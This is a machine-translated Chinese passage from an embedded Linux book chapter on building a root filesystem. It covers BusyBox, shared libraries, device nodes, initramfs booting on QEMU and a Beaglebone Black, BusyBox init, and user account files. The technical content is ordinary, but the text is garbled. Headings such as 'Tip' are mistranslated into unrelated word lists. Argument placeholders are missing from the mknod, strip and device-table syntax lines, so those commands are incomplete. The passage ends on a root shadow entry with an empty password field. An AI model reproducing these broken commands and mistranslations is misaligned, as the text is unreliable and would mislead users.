嵌入式系统中常用的外壳有多种: - -* `bash`:这是桌面 Linux 中我们都熟悉和喜爱的巨兽。 它是 Unix Bourne shell 的超集,具有许多扩展或*bashism*。 -* `ash`:同样基于 Bourne shell,它与 Unix 的 BSD 变体有着悠久的历史。 BusyBox 有一个`ash`版本,该版本已进行了扩展,使其与`bash`更兼容。 它比`bash`小得多,因此是嵌入式系统非常流行的选择。 -* `hush`: This is a very small shell that we briefly looked at in [*Chapter 3*](03.html#_idTextAnchor061), *All about Bootloaders*. It is useful on devices with very little memory. There is a version of `hush` in BusyBox. - - 给小费 / 翻倒 / 倾覆 - - 如果您使用`ash`或`hush`作为目标上的 shell,请确保在目标上测试 shell 脚本。 我们很容易只在主机上使用`bash`测试它们,然后在将它们复制到目标时却发现它们不起作用,这是非常诱人的。 - -名单上的下一个是公用事业。 - -### 功用 / 公用事业 / 实用 / 效用 - -Shell 只是启动其他程序的一种方式,而 Shell 脚本只不过是要运行的个程序的列表,带有一些流控制和在程序之间传递信息的方法。 要使 shell 有用,您需要 Unix 命令行所基于的实用程序。 即使对于基本的根文件系统,也需要大约 50 个实用程序,这会带来两个问题。 首先,找到每一个的源代码并对其进行交叉编译将是一项相当大的工作。 其次,由此产生的程序集合将占用数十兆字节,这在嵌入式 Linux 早期是一个真正的问题,当时您只有几兆字节。 为了解决这个问题,BusyBox 应运而生。 - -### BusyBox 出手相救! - -**BusyBox**的起源与嵌入式 Linux 无关。 这个项目是由 Bruce Perens 在 1996 年为 Debian 安装程序发起的,这样他就可以从一张 1.44MB 的软盘上启动 Linux。 巧合的是,这差不多是当代设备上的存储大小,所以嵌入式 Linux 社区很快就采用了它。 从那时起,BusyBox 就一直是嵌入式 Linux 的核心。 - -BusyBox 是从头开始编写的,用于执行那些基本的 Linux 实用程序的基本功能。 开发人员利用了 80:20 规则:程序中最有用的 80%是用 20%的代码实现的。 因此,BusyBox 工具实现了桌面等效项的一部分功能,但它们做的足够多,在大多数情况下都是有用的。 - -BusyBox 采用的另一个技巧是将所有工具组合到一个二进制文件中,这样就可以轻松地在它们之间共享代码。 它的工作原理是这样的:BusyBox 是一个小程序集合 -,每个小程序都以`[applet]_main`的形式导出其`main`函数。 -例如,`cat`命令在`coreutils/cat.c`中执行,并导出`cat_main`。 BusyBox 的`main`函数本身根据命令行参数将调用分派给正确的小程序。 - -因此,要读取文件,可以使用要运行的小程序的名称启动 BusyBox,后跟小程序需要的任何参数,如下所示: - -```sh -$ busybox cat my_file.txt -``` - -您还可以不带参数运行 BusyBox,以获得已编译 -的所有 applet 的列表。 - -以这种方式使用 BusyBox 相当笨拙。 让 BusyBox 运行`cat`小程序的更好方法是创建从`/bin/cat`到`/bin/busybox`的符号链接: - -```sh -$ ls -l bin/cat bin/busybox --rwxr-xr-x 1 root root 892868 Feb 2 11:01 bin/busybox -lrwxrwxrwx 1 root root 7      Feb 2 11:01 bin/cat -> busybox -``` - -当您在命令行中键入`cat`时,BusyBox 是实际运行的程序。 BusyBox 只需检查通过`argv[0]`传入的可执行文件的路径( -将是`/bin/cat`),提取应用名称`cat`,并进行表查找以匹配`cat`和`cat_main`。 所有这些都是在这段代码的`libbb/appletlib.c`中完成的(稍微简化): - -```sh -applet_name = argv[0]; -applet_name = bb_basename(applet_name); -run_applet_and_exit(applet_name, argv); -``` - -BusyBox 有 300 多个小程序,包括一个`init`程序,几个复杂程度不同的 shell,以及用于大多数管理任务的实用程序。 甚至还有一个简单版本的`vi`编辑器,您可以在设备上更改文本文件。 典型的 BusyBox 二进制文件只能启用几十个小程序。 - -总而言之,BusyBox 的典型安装由单个程序组成,每个小程序都有一个 -符号链接,但它的行为就像是 -个单独应用的集合。 - -### 构建 BusyBox - -BusyBox 使用与内核相同的`Kconfig`和`Kbuild`系统,因此交叉编译非常简单。 您可以通过克隆 BusyBox Git 存储库并签出您想要的版本(`1_31_1`是撰写本文时的最新版本)来获取源代码,如下所示: - -```sh -$ git clone git://busybox.net/busybox.git -$ cd busybox -$ git checkout 1_31_1 -``` - -您也可以从[https://busybox.net/downloads/](https://busybox.net/downloads/)下载相应的 TAR 文件。 - -然后,从默认配置开始配置 BusyBox,这将启用 BusyBox 的几乎所有功能: - -```sh -$ make distclean -$ make defconfig -``` - -此时,您可能希望运行`make menuconfig`来微调配置。 例如,您几乎肯定希望在**Busybox Settings**|**Installation Options**`(CONFIG_PREFIX)`中将安装路径设置为指向临时目录。 然后,您可以用通常的方式进行交叉编译。 如果您的目标是 Beaglebone Black,请使用以下命令: - -```sh -$ make ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- -``` - -如果您的目标是多功能 PB 的 QEMU 仿真,请使用以下命令: - -```sh -$ make ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabi- -``` - -在任何一种情况下,结果都是可执行文件`busybox`。 对于这样的默认配置构建,大小约为 900 KiB。 如果这对您来说太大了,您可以通过更改配置来精简它,去掉不需要的实用程序。 - -要将 BusyBox 安装到临时区域,请使用以下命令: - -```sh -$ make ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- install -``` - -这将把二进制文件复制到在`CONFIG_PREFIX`中配置的目录,并创建指向它的所有符号链接。 - -现在我们将看一看 Busybox 的替代方案,称为 Toybox。 - -### Toybox-BusyBox 的替代品 - -BusyBox 并不是镇上唯一的游戏。 此外,还有**Toybox**,您可以在[http://landley.net/toybox/](http://landley.net/toybox/)找到。 这个项目是由 Rob Landley 发起的,他之前是 BusyBox 的维护者。 Toybox 与 BusyBox 的目标相同,但更多地强调遵循标准,特别是 POSIX-2008 和 LSB 4.1,而不是与这些标准的 GNU 扩展兼容。 Toybox 比 BusyBox 小,部分原因是它实现的 applet 较少。 它的许可证是 BSD,而不是 GPL v2,这使得它与拥有 BSD 许可用户空间的操作系统(如 Android)兼容。 因此,Toybox 将与所有新的 Android 设备一起交付。 从最近的 0.8.3 版本开始,TOYBOX 的`Makefile`可以构建一个完整的 Linux 系统,在给定 Linux 和 Toybox 源代码的情况下,该系统可以引导到 shell 提示符。 - -## 根文件系统的库 - -程序与库链接在一起。 您可以将它们全部静态链接,在这种情况下,目标设备上将没有个库。 但是,如果您有两个或三个以上的程序,这会占用不必要的大量存储空间。 因此,您需要将共享库从工具链复制到临时目录。 你怎么知道哪些图书馆? - -一个选项是从工具链的`sysroot`目录复制所有`.so`文件。 不要试图预测要包含哪些库,只需假设您的映像最终将需要它们。 这当然是合乎逻辑的,如果您正在创建一个供其他人用于一系列应用的平台,这将是正确的方法。 不过,请注意,一个完整的`glibc`是相当大的。 在`glibc`2.22 的 Crossstool-NG 构建的情况下,库、区域设置和其他支持文件的大小为 33MiB。 当然,您可以使用`musl libc`或`uClibc-ng`大幅减少。 - -另一种选择是只挑选您需要的库,对于这些库,您需要一种发现库依赖关系的方法。 使用我们在[*第 2 章*](02.html#_idTextAnchor029),*了解工具链*中的一些知识,我们可以使用`readelf`命令执行此任务: - -```sh -$ cd ~/rootfs -$ arm-cortex_a8-linux-gnueabihf-readelf -a bin/busybox | grep "program interpreter" -[Requesting program interpreter: /lib/ld-linux-armhf.so.3] -$ arm-cortex_a8-linux-gnueabihf-readelf -a bin/busybox | grep "Shared library" -0x00000001 (NEEDED) Shared library: [libm.so.6] -0x00000001 (NEEDED) Shared library: [libc.so.6] -``` - -第一个`readelf`命令在`busybox`二进制文件中搜索包含`program interpreter`的行。 第二个`readelf`命令在`busybox`二进制文件中搜索包含`Shared library`的行。 现在,您需要在工具链`sysroot`目录中找到这些文件,然后将它们复制到临时目录。 记住,您可以这样找到`sysroot`: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc -print-sysroot -/home/chris/x-tools/arm-cortex_a8-linux-gnueabihf/arm-cortex_a8-linux-gnueabihf/sysroot -``` - -为了减少打字量,我将在 shell 变量中保留一份副本: - -```sh -$ export SYSROOT=$(arm-cortex_a8-linux-gnueabihf-gcc -print-sysroot) -``` - -如果您查看`sysroot`中的`/lib/ld-linux-armhf.so.3`,您会发现它实际上是一个符号链接: - -```sh -$ cd $SYSROOT -$ ls -l lib/ld-linux-armhf.so.3 -lrwxrwxrwx 1 chris chris 10 Mar 3 15:22 lib/ld-linux-armhf.so.3 -> ld-2.22.so -``` - -对`libc.so.6`和`libm.so.6`重复该练习,最终将得到一个包含三个文件和三个符号链接的列表。 现在,您可以使用`cp -a`复制每个文件,这将保留符号链接: - -```sh -$ cd ~/rootfs -$ cp -a $SYSROOT/lib/ld-linux-armhf.so.3 lib -$ cp -a $SYSROOT/lib/ld-2.22.so lib -$ cp -a $SYSROOT/lib/libc.so.6 lib -$ cp -a $SYSROOT/lib/libc-2.22.so lib -$ cp -a $SYSROOT/lib/libm.so.6 lib -$ cp -a $SYSROOT/lib/libm-2.22.so lib -``` - -对每个程序重复此程序。 - -给小费 / 翻倒 / 倾覆 - -只有在获得尽可能最小的嵌入式内存占用量时,才值得这样做。 您可能会错过通过`dlopen(3)`调用加载的库-主要是插件。 在本章后面的配置网络接口时,我们将查看一个使用**名称服务交换机**(**NSS**)库的示例。 - -### 通过剥离来减小尺寸 - -库和程序通常使用存储在符号表中的一些信息进行编译,以帮助调试和跟踪。 在生产系统中很少需要这些。 节省空间的一种快捷方法是剥离符号表的二进制文件。 此示例显示剥离前的`libc`: - -```sh -$ file rootfs/lib/libc-2.22.so -lib/libc-2.22.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 4.3.0, not stripped -$ ls -og rootfs/lib/libc-2.22.so --rwxr-xr-x 1 1542572 Mar 3 15:22 rootfs/lib/libc-2.22.so -``` - -现在,让我们看看剥离调试信息的结果: - -```sh -$ arm-cortex_a8-linux-gnueabihf-strip rootfs/lib/libc-2.22.so -$ file rootfs/lib/libc-2.22.so -rootfs/lib/libc-2.22.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 4.3.0, stripped -$ ls -og rootfs/lib/libc-2.22.so --rwxr-xr-x 1 1218200 Mar 22 19:57 rootfs/lib/libc-2.22.so -``` - -在本例中,我们保存了 324,372 字节,约为剥离前文件大小的 20%。 - -给小费 / 翻倒 / 倾覆 - -在剥离内核模块时要小心。 模块加载器需要一些符号来重新定位模块代码,因此如果剥离这些符号,模块将无法加载。 使用此命令删除调试符号,同时保留用于重新定位的符号:`strip --strip-unneeded `。 - -## 设备节点 - -Linux 中的大多数设备都由设备节点表示,这与 Unix 的理念一致,即*一切都是一个文件*(除了网络接口,它是套接字)。 设备节点可以指块设备或字符设备。 块设备是大容量存储设备,如 SD 卡或硬盘驱动器。 同样,字符设备几乎是其他任何东西,除了网络接口。 设备节点的传统位置是名为`/dev`的目录。 例如,串行端口可以由称为`/dev/ttyS0`的设备节点表示。 - -设备节点是使用名为`mknod`(*make node*的缩写)的程序创建的: - -```sh -mknod -``` - -`mknod`的参数如下: - -* `name`是要创建的设备节点的名称。 -* `type`对于字符设备是`c`,对于块设备是`b`。 -* `major`和`minor`是内核用来将文件请求路由到适当的设备驱动程序代码的一对数字。 在`Documentation/devices.txt`文件的内核源代码中有一个标准主号和次号的列表。 - -您需要为您的 -系统上要访问的所有设备创建设备节点。 您可以使用`mknod`命令手动创建它们,正如我将在这里说明的那样,或者 -您可以在运行时使用我 -稍后将提到的设备管理器之一自动创建它们。 - -在真正的最小根文件系统中,使用 BusyBox 引导只需要两个节点:`console`和`null`。 控制台只需要设备节点的所有者`root`可以访问,因此访问权限为`600 (rw-------)`。 每个人都可以读写`null`设备,因此模式为`666 (rw-rw-rw-)`。 您可以使用`mknod`的`-m`选项在创建节点时设置模式。 您需要是`root`才能创建设备节点,如下所示: - -```sh -$ cd ~/rootfs -$ sudo mknod -m 666 dev/null c 1 3 -$ sudo mknod -m 600 dev/console c 5 1 -$ ls -l dev -total 0 -crw------- 1 root root 5, 1 Mar 22 20:01 console -crw-rw-rw- 1 root root 1, 3 Mar 22 20:01 null -``` - -您可以使用标准的`rm`命令删除设备节点。 没有`rmnod`命令,因为一旦创建,它们就只是文件。 - -## proc 和 sysfs 文件系统 - -`proc`和`sysfs`是两个伪文件系统,它们提供了了解内核内部工作的窗口。 它们都将内核数据表示为目录层次结构中的文件:当您读取其中一个文件时,您看到的内容并不是来自磁盘存储;它是由内核中的一个函数动态格式化的。 有些文件也是可写的,这意味着使用您写入的新数据调用内核函数,如果它是正确格式的,并且您有足够的权限,它将修改内核内存中存储的值。 换句话说,`proc`和`sysfs`提供了与设备驱动程序和其他内核代码交互的另一种方式。 应该将`proc`和`sysfs`文件系统挂载在名为`/proc`和`/sys`的目录中: - -```sh -# mount -t proc proc /proc -# mount -t sysfs sysfs /sys -``` - -虽然它们在概念上非常相似,但它们执行的功能不同。 `proc`从早期就是 Linux 的一部分。 它最初的目的是向用户空间公开有关进程的信息,因此得名。 为此,每个名为`/proc/`的进程都有一个目录,其中包含有关其状态的信息。 进程列表命令`ps`读取这些文件以生成其输出。 此外,还有一些文件提供有关内核其他部分的信息,例如,`/proc/cpuinfo`告诉您有关 CPU 的信息,`/proc/interrupts`提供有关中断的信息,等等。 - -最后,在`/proc/sys`中,有一些文件可以显示和控制内核子系统的状态和行为,特别是调度、内存管理和联网。 手册页是您将在`proc`目录中找到的文件的最佳参考,您可以通过键入`man 5 proc`查看该目录。 - -另一方面,`sysfs`的角色是将内核**驱动程序模型**呈现给用户空间。 它导出与设备和设备驱动程序以及它们彼此连接方式相关的文件层次结构。 当我在[*第 11 章*](11.html#_idTextAnchor329),*与设备驱动程序接口*中描述与设备驱动程序的交互时,我将更详细地介绍 Linux 驱动程序模型。 - -### 挂载文件系统 - -`mount`命令允许我们将一个文件系统附加到另一个文件系统中的目录,从而形成文件系统的层次结构。 顶部的文件系统称为**根文件系统**,它是在 -内核引导时挂载的。 `mount`命令 -的格式如下: - -```sh -mount [-t vfstype] [-o options] device directory -``` - -`mount`的参数如下: - -* `vfstype`是文件系统的类型。 -* `options`是逗号分隔的`mount`选项列表。 -* `device`是文件系统驻留的块设备节点。 -* `directory`是要挂载文件系统的目录。 - -在`-o`之后可以提供各种选项;有关更多信息,请参阅手册页`mount(8)`。 例如,如果您想要将第一个分区中包含`ext4`文件系统的 SD 卡挂载到名为`/mnt`的目录中,则需要键入以下代码: - -```sh -# mount -t ext4 /dev/mmcblk0p1 /mnt -``` - -假设挂载成功,您将能够在`/mnt`目录中看到 SD 卡上存储的文件。 在某些情况下,您可以省略文件系统类型,让内核探测设备以找出存储在那里的内容。 如果挂载失败,您可能首先需要卸载分区,以防您的 Linux 发行版配置为在插入 SD 卡时自动挂载 SD 卡上的所有分区。 - -在挂载`proc`文件系统的示例中,有一点很奇怪:没有像`/dev/proc`这样的设备节点,因为它是伪文件系统而不是真正的文件系统。 但是`mount`命令需要一个`device`参数。 因此,我们必须给出一个字符串`device`的位置,但是这个字符串是什么并不重要。 这两个命令可实现完全相同的结果: - -```sh -# mount -t proc procfs /proc -# mount -t proc nodevice /proc -``` - -`mount`命令忽略`procfs`和`nodevice`字符串。 在挂载伪文件系统时,使用文件系统类型代替设备是相当常见的。 - -## 内核模块 - -如果您有内核模块,则需要使用`modules_install`内核 make 目标将它们安装到根文件系统中,如我们在[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*中看到的那样。 这会将它们连同`modprobe`命令所需的配置文件一起复制到名为`/lib/modules/`的目录中。 - -请注意,您刚刚在内核和根文件系统之间创建了一个依赖项。 如果您更新其中一个,则必须更新另一个。 - -既然我们已经了解了如何从 SD 卡挂载文件系统,让我们来看看挂载根文件系统的不同选项。 替代方案(ramdisk 和 NFS)可能会让您大吃一惊,特别是如果您不熟悉嵌入式 Linux 的话。 内存磁盘可保护原始源图像免受损坏和损坏。 我们将在[*第 9 章*](09.html#_idTextAnchor246),*创建存储策略*中了解有关闪存软件的更多信息。 网络文件系统允许更快速的开发,因为文件更改可以立即传播到目标。 - -# 将根文件系统传输到目标 - -在在临时目录中创建了主干根文件系统之后,下一个任务是将其传输到目标。 在接下来的几节中,我将描述三种可能性: - -* **initramfs**:也称为 ramdisk,这是由引导加载程序加载到 RAM 中的文件系统映像。 内存磁盘很容易创建,并且不依赖于大容量存储驱动程序。 当主根文件系统需要更新时,可以在备用维护模式下使用它们。 它们甚至可以用作小型嵌入式设备中的主要根文件系统,并且在主流 Linux 发行版中通常用作早期用户空间。 请记住,根文件系统的内容是易失性的,您在运行时对根文件系统所做的任何更改都将在系统下次引导时丢失。 您需要另一种存储类型来存储永久数据,如配置参数。 -* **磁盘映像**:这是根文件系统的副本,已格式化,可以加载到目标上的大容量存储设备上。 例如,它可以是准备复制到 SD 卡上的`ext4`格式的图像,也可以是准备通过引导加载程序加载到闪存中的`jffs2`格式的图像。 创建磁盘映像可能是最常见的选项。 在[*第 9 章*](09.html#_idTextAnchor246),*创建存储策略*中有关于不同类型的大容量存储的更多信息。 -* **网络文件系统**:临时目录可以通过 NFS 服务器导出到网络,并在引导时由目标挂载。 这通常是在开发阶段完成的,而不是创建磁盘映像并将其重新加载到大容量存储设备的重复周期,这是一个相当缓慢的过程。 - -我将从 ramdisk 开始,并使用它来说明对根文件系统的一些改进,比如添加用户名和设备管理器以自动创建设备节点。 然后,我将向您展示如何创建磁盘映像以及如何使用 NFS 通过网络挂载根文件系统。 - -# 创建引导 initramfs - -初始 RAM 文件系统或`initramfs`是压缩的`cpio`归档。 `cpio`是一种旧的 Unix 存档格式,类似于 tar 和 ZIP,但更容易解码,因此在内核中需要的代码更少。 您需要使用`CONFIG_BLK_DEV_INITRD`配置内核以支持`initramfs`。 - -碰巧,有三种不同的方法可以创建引导 ramdisk:作为独立的`cpio`归档文件、作为嵌入在内核映像中的`cpio`归档文件,以及作为内核构建系统作为构建的一部分进行处理的设备表。 第一个选项提供了最大的灵活性,因为我们可以根据自己的需要混合和匹配内核和内存磁盘。 然而,这意味着您需要处理两个文件,而不是一个文件,而且并不是所有的引导加载器都具有加载单独的 ramdisk 的功能。 稍后我将向您展示如何在内核中构建一个。 - -## 独立 initramfs - -下面的指令序列创建档案,压缩档案,并添加准备加载到目标上的 U-Boot 标头: - -```sh -$ cd ~/rootfs -$ find . | cpio -H newc -ov --owner root:root > -../initramfs.cpio -$ cd .. -$ gzip initramfs.cpio -$ mkimage -A arm -O linux -T ramdisk -d initramfs.cpio.gz uRamdisk -``` - -请注意,我们使用`--owner root:root`选项运行`cpio`。 这是对先前在临时目录部分的*文件所有权权限中提到的文件所有权问题的快速修复。 它使`cpio`存档中的所有内容都具有`0`的 UID 和 GID。* - -`uRamdisk`文件的最终大小约为 2.9MB,没有内核模块。 加上内核`zImage`文件的 4.4MB 和 U-Boot 的 440KB,总共需要 7.7MB 的存储空间来引导此板。 我们离开始这一切的 1.44MB 软盘还有一点距离。 如果大小确实是个问题,您可以使用以下选项之一: - -* 去掉不需要的驱动程序和函数,让内核变得更小。 -* 去掉不需要的实用程序,让 BusyBox 变得更小。 -* 用`musl libc`或`uClibc-ng`代替`glibc`。 -* 静态编译 BusyBox。 - -现在我们已经组装了一个`initramfs`,让我们引导归档文件。 - -## 引导 initramfs - -我们能做的最简单的事情是在控制台上运行一个 shell,这样我们就可以与目标交互。 我们可以通过将`rdinit=/bin/sh`添加到内核命令行来做到这一点。 接下来的两个部分将展示如何在 QEMU 和 Beaglebone Black 上做到这一点。 - -## 使用 QEMU 引导 - -QEMU 具有名为`-initrd`的选项,可将`initramfs`加载到内存中。 从[*第 4 章*](04.html#_idTextAnchor085)、*配置和构建内核*、使用`arm-unknown-linux-gnueabi`工具链编译的`zImage`以及用于多功能 PB 的设备树二进制文件中,您应该已经有了。 从本章开始,您应该已经创建了一个`initramfs`,其中包括使用相同工具链编译的 BusyBox。 现在,您可以使用`MELP/Chapter05/run-qemu-initramfs.sh`中的脚本或使用以下命令启动 QEMU: - -```sh -$ QEMU_AUDIO_DRV=none \ -qemu-system-arm -m 256M -nographic -M versatilepb \     --kernel zImage --append "console=ttyAMA0 rdinit=/bin/sh" \ --dtb versatile-pb.dtb --initrd initramfs.cpio.gz -``` - -您应该会得到一个带有提示符`/ #`的根 shell。 - -## 启动 Beaglebone Black - -对于 Beaglebone Black,我们需要在[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*中准备的 microSD 卡,以及使用`arm-cortex_a8-linux-gnueabihf`工具链构建的根文件系统。 将您在本节前面创建的`uRamdisk`复制到 microSD 卡上的引导分区,然后使用它将 Beaglebone Black 引导到出现 U-Boot 提示符的位置。 然后,输入以下命令: - -```sh -fatload mmc 0:1 0x80200000 zImage -fatload mmc 0:1 0x80f00000 am335x-boneblack.dtb fatload mmc 0:1 0x81000000 uRamdisk -setenv bootargs console=ttyO0,115200 rdinit=/bin/sh -bootz 0x80200000 0x81000000 0x80f00000 -``` - -如果一切顺利,您将在串行控制台上获得一个带有提示符`/ #`的根 shell。 完成此操作后,我们将需要在两个平台上安装`proc`。 - -### 安装流程 - -您会发现`ps`命令在两个平台上都不起作用。 这是因为`proc`文件系统尚未挂载。 尝试挂载它: - -```sh -# mount -t proc proc /proc -``` - -现在,再次运行`ps`,您将看到进程列表。 - -对此设置的改进是编写一个挂载`proc`的 shell 脚本,以及在引导时需要执行的任何其他操作。 然后,您可以在引导时运行此脚本,而不是运行 -。 下面的代码片段让您了解它的工作原理: - -```sh -#!/bin/sh -/bin/mount -t proc proc /proc -# Other boot-time commands go here -/bin/sh -``` - -最后一行`/bin/sh`启动一个新的 shell,它会给您一个交互式的 root shell 提示。 以这种方式将 shell 用作`init`对于快速破解非常方便,例如,当您想要用损坏的`init`程序拯救系统时。 但是,在大多数情况下,您将使用`init`程序,我们将在本章后面介绍该程序。 但是,在此之前,我想看看加载`initramfs`的另外两种方法。 - -## 在内核镜像中构建 initramfs - -到目前为止,我们已经创建了一个压缩的`initramfs`作为单独的文件,并使用引导加载程序将其加载到内存中。 某些引导加载程序不能以这种方式加载`initramfs`文件。 为了处理这些情况,可以将 Linux 配置为将`initramfs`合并到内核映像中。 为此,请更改内核配置,并将`CONFIG_INITRAMFS_SOURCE`设置为您之前创建的`cpio`归档的完整路径。 如果您使用的是`menuconfig`,则它位于**常规设置**|**Initramfs 源文件**中。 请注意,它必须是以`.cpio`结尾的未压缩的`cpio`文件,而不是`gzipped`版本。 然后,构建内核。 - -引导过程与之前相同,只是没有 ramdisk 文件。 对于 QEMU,命令如下所示: - -```sh -$ QEMU_AUDIO_DRV=none \ -qemu-system-arm -m 256M -nographic -M versatilepb \ --kernel zImage \ --append "console=ttyAMA0 rdinit=/bin/sh" \ --dtb versatile-pb.dtb -``` - -对于 Beaglebone Black,在 U-Boot 提示符下输入以下命令: - -```sh -fatload mmc 0:1 0x80200000 zImage -fatload mmc 0:1 0x80f00000 am335x-boneblack.dtb -setenv bootargs console=ttyO0,115200 rdinit=/bin/sh -bootz 0x80200000 – 0x80f00000 -``` - -当然,您必须记住在每次更改根文件系统的内容然后重新构建内核时重新生成`cpio`文件。 - -## 使用设备表构建 initramfs - -设备表是一个文本文件,其中列出了进入存档或文件系统映像的文件、目录、设备节点和链接。 压倒性的优势在于,它允许您在归档文件中创建属于`root`用户或任何其他 UID 的条目,而无需您自己拥有 root 权限。 您甚至可以在不需要 root 权限的情况下创建设备节点。 所有这些都是可能的,因为存档只是一个数据文件。 只有当 Linux 在引导时将其展开时,才会使用您指定的属性创建真正的文件和目录。 - -内核有一个特性,允许我们在创建`initramfs`时使用设备表。 您编写设备表文件,然后将`CONFIG_INITRAMFS_SOURCE`指向它。 然后,当您构建内核时,它从设备表中的指令创建`cpio`存档。 在任何情况下,您都不需要`root`访问权限。 - -下面是我们的简单`rootfs`的设备表,但缺少大多数指向 BusyBox 的符号链接以使其易于管理: - -```sh -dir /bin 775 0 0 -dir /sys 775 0 0 -dir /tmp 775 0 0 -dir /dev 775 0 0 -nod /dev/null 666 0 0 c 1 3 -nod /dev/console 600 0 0 c 5 1 -dir /home 775 0 0 -dir /proc 775 0 0 -dir /lib 775 0 0 -slink /lib/libm.so.6 libm-2.22.so 777 0 0 -slink /lib/libc.so.6 libc-2.22.so 777 0 0 -slink /lib/ld-linux-armhf.so.3 ld-2.22.so 777 0 0 -file /lib/libm-2.22.so /home/chris/rootfs/lib/libm-2.22.so 755 0 0 -file /lib/libc-2.22.so /home/chris/rootfs/lib/libc-2.22.so 755 0 0 -file /lib/ld-2.22.so /home/chris/rootfs/lib/ld-2.22.so 755 0 0 -``` - -语法相当明显: - -* `dir ` -* `file ` -* `nod ` -* `slink ` - -`dir`、`nod`和`slink`命令使用给定的名称、模式、用户 ID 和组 ID 在`initramfs cpio`存档中创建文件系统对象。 `file`命令将文件从源位置复制到存档中,并设置模式、用户 ID 和组 ID。 - -通过`usr/gen_initramfs_list.sh`中内核源代码中的脚本从给定目录创建设备表,从从头开始创建`initramfs`设备表的任务变得更加容易。 例如,要为`rootfs`目录创建`initramfs`设备表,并将用户 ID`1000`和组 ID`1000`拥有的所有文件的所有权更改为用户和组 ID`0`,您可以使用以下命令: - -```sh -$ bash linux-stable/scripts/gen_initramfs_list.sh -u 1000 \ --g 1000 -rootfs > initramfs-device-table -``` - -使用此脚本的`-o`选项可以创建压缩的`initramfs`文件,其格式取决于`-o`之后的文件扩展名。 - -请注意,该脚本仅适用于`bash`外壳。 如果您的系统具有不同的默认 shell,就像大多数 Ubuntu 配置一样,您会发现脚本失败。 因此,在前面给出的命令中,我显式地使用了`bash`来运行脚本。 - -## 旧的 initrd 格式 - -Linux ramdisk 有一种旧格式,称为`initrd`。 它是 Linux 2.6 之前唯一可用的格式,如果您正在使用 Linux 的非 MMU 变体 uClinux,则仍然需要它。 这是相当模糊的,我不会在这里报道它。 在`Documentation/initrd.txt`中有更多关于内核源代码的信息。 - -一旦我们的`initramfs`启动,系统就需要开始运行程序。 第一个运行的程序是`init`程序。 接下来让我们来看看这一点。 - -# init 程序 - -对于简单的情况,在引导时运行 shell,甚至是 shell 脚本是很好的,但实际上您需要一些更灵活的东西。 通常,Unix 系统运行一个名为`init`的程序,该程序启动并监视其他程序。 多年来,已经有许多`init`程序,我将在[*第 13 章*](13.html#_idTextAnchor391),*启动-init 程序*中描述其中一些程序。 现在,我将简要介绍 BusyBox 的`init`程序。 - -`init`程序从读取配置文件`/etc/inittab`开始。 这里有一个简单的例子,足以满足我们的需求: - -```sh -::sysinit:/etc/init.d/rcS -::askfirst:-/bin/ash -``` - -启动`init`时,第一行运行 shell 脚本`rcS`。 第二行打印消息**请按 Enter 将此控制台**激活到控制台,并在按*Enter*时启动外壳程序。 `/bin/ash`前面的`-`表示它将成为一个登录 shell,它在给出 shell 提示之前获取`/etc/profile`和`$HOME/.profile`。 这样启动 shell 的好处之一是启用了作业控制。 最直接的效果是可以使用*Ctrl*+*C*来终止当前程序。 也许你之前没有注意到,但是等到你运行了`ping`程序,你会发现你无法阻止它! - -如果根文件系统中不存在任何内容,BusyBox`init`会提供默认值`inittab`。 它比前一个稍微广泛一些。 - -名为`/etc/init.d/rcS`的脚本用于放置需要在引导时执行的初始化命令,例如挂载`proc`和`sysfs`文件系统: - -```sh -#!/bin/sh -mount -t proc proc /proc -mount -t sysfs sysfs /sys -``` - -确保将`rcS`设置为可执行文件,如下所示: - -```sh -$ cd ~/rootfs -$ chmod +x etc/init.d/rcS -``` - -通过如下更改`-append`参数,您可以在 QEMU 上尝试: - -```sh --append "console=ttyAMA0 rdinit=/sbin/init" -``` - -对于 Beaglebone Black,您需要在 U-Boot 中设置`bootargs`变量,如下所示: - -```sh -setenv bootargs console=ttyO0,115200 rdinit=/sbin/init -``` - -现在,让我们仔细看看`init`在启动过程中读取的`inittab`。 - -## 启动守护进程 - -通常,希望在启动时运行某些后台进程。 让我们以日志守护进程`syslogd`为例。 `syslogd`的目的是积累来自其他程序(主要是其他守护进程)的日志消息。 当然,BusyBox 为此提供了一个小程序! - -启动守护进程非常简单,只需将如下一行添加到`etc/inittab`: - -```sh -::respawn:/sbin/syslogd -n -``` - -`respawn`表示如果程序终止,它将自动重启;`-n`表示它应该作为前台进程运行。 日志将写入`/var/log/messages`。 - -重要音符 - -您可能还想以同样的方式启动`klogd`:`klogd`将内核日志消息发送到`syslogd`,以便可以将它们记录到永久存储中。 - -接下来,我们将学习如何配置用户帐户。 - -# 配置用户帐户 - -正如我已经暗示的那样,以`root`身份运行所有程序并不是一种好的做法,因为如果 -一个程序受到外部攻击的危害,那么整个系统就处于危险之中。 -最好创建非特权用户帐户,并在不需要 Full`root` -的地方使用它们。 - -用户名在`/etc/passwd`中配置。 每个用户一行,由冒号分隔的七个信息字段按顺序排列如下: - -* 登录名 -* 用于验证密码的散列码,或者,更常见的情况是,验证`x`以指示密码存储在`/etc/shadow`中 -* 用户 ID -* 组 ID -* 注释字段,通常为空 -* 用户的`home`目录 -* 此用户将使用的外壳(可选) - -下面是一个简单的示例,其中 UID 为`0`的用户`root`和 UID 为`1`的用户`daemon` -: - -```sh -root:x:0:0:root:/root:/bin/sh -daemon:x:1:1:daemon:/usr/sbin:/bin/false -``` - -将用户`daemon`的 shell 设置为`/bin/false`可确保使用该名称登录的任何尝试都将失败。 - -各种程序必须读取`/etc/passwd`才能查找用户名和 UID,因此文件必须是完全可读的。 如果密码散列也存储在那里,这将是一个问题,因为恶意程序将能够复制一份副本,并使用各种破解程序发现实际密码。 因此,为了减少此敏感信息的暴露,密码存储在`/etc/shadow`中,并将`x`放在密码字段中以指示情况确实如此。 名为`/etc/shadow`的文件只需要由`root`访问,因此只要`root`用户没有受到攻击,密码就是安全的。 影子密码文件由每个用户一个条目组成,由九个字段组成。 下面是一个镜像上一段中所示密码文件的示例: - -```sh -root::10933:0:99999:7::: 